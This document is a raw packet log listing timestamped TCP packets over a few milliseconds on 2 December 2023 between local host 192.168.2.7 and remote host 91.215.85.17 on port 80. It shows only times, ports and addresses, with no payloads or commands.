Dec 2, 2023 18:01:44.114999056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115005970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115012884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115020990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115067005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115076065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115083933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115101099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115129948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.115129948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.115129948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.115159035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115169048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115176916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115189075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115195990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115202904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115222931 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115231037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115237951 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115246058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115247965 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.115247965 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.115255117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115278959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.115346909 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.115504980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115515947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115523100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115567923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115664005 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.115686893 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115696907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115703106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115744114 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.115744114 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.115747929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115758896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115767002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115776062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115782976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115788937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115797997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115804911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115813971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115820885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115827084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115843058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115852118 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.115852118 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.115852118 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.115871906 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.115890980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115915060 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.115936995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115945101 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.115947962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115958929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115972996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.115979910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116029024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.116050005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116063118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116070032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116084099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116095066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116102934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116113901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116158009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116159916 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.116159916 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.116159916 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.116169930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116367102 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.116633892 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116642952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116651058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116666079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116673946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116682053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116688967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116727114 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.116727114 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.116735935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116746902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116754055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116766930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116779089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116786003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116799116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116806984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116846085 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.116846085 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.116846085 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.116867065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116875887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116883039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116895914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116903067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116914034 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116920948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116955996 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.116955996 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.116981030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116991997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.116997957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117042065 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.117073059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117082119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117089987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117101908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117110014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117116928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117125034 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117258072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117265940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117266893 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.117268085 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.117276907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117285967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117292881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117326975 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.117326975 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.117372036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117382050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117389917 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117403030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117439032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117443085 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.117471933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117480993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117496014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117533922 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.117626905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117635965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117644072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117655039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117661953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117669106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117675066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117686987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117693901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117701054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.117748976 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.117748976 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.117748976 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.118093014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118099928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118105888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118119001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118128061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118134975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118141890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118155956 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118161917 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118170023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118176937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118189096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118196964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118201017 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.118201017 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.118206024 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118213892 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118221045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118222952 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.118230104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118237019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118244886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118257046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118264914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118272066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118284941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118292093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118299007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118314028 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.118314028 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.118314028 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.118319988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118329048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118335962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118345022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118351936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118412018 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.118412018 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.118412018 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.118439913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118448019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118454933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118468046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118474960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118482113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118489027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118520975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118525028 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.118530035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118539095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118546009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118554115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118590117 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.118590117 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.118604898 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.118613005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118623018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118630886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118647099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118654966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118697882 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.118697882 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.118721008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118733883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118757963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118771076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118781090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118788958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118846893 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.118846893 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.118869066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118880987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118887901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118899107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.118956089 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.119050026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119151115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119158983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119164944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119178057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119184971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119191885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119198084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119213104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119231939 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119277000 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.119277000 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.119277000 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.119512081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119519949 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119569063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119580984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119587898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119596004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119602919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119616032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119622946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119630098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119642973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119645119 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.119645119 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.119649887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119658947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119666100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119674921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119682074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119690895 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.119690895 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.119714975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119724035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119728088 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.119730949 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119739056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119864941 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.119864941 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.119891882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119899988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119906902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119920969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119926929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119939089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119946003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119951010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119959116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119966030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119972944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119976997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.119976997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.119982004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119991064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.119998932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120012045 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.120075941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120085001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120094061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120106936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120114088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120127916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120135069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120146036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120146036 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.120146036 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.120158911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120187998 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.120207071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120214939 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.120219946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120229006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120240927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120248079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120255947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120264053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120273113 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.120275974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120328903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120337963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120346069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120351076 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.120351076 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.120352983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120362043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120369911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120377064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120384932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120393038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120400906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120409966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120418072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120429993 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.120429993 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.120430946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120429993 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.120471001 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.120482922 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.120742083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120750904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120874882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120884895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120886087 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.120893955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120907068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120913982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120920897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120929003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120935917 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120943069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120950937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120956898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120960951 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.120960951 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.120965004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120974064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120980024 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.120987892 CET	80	49713	91.215.85.17	192.168.2.7
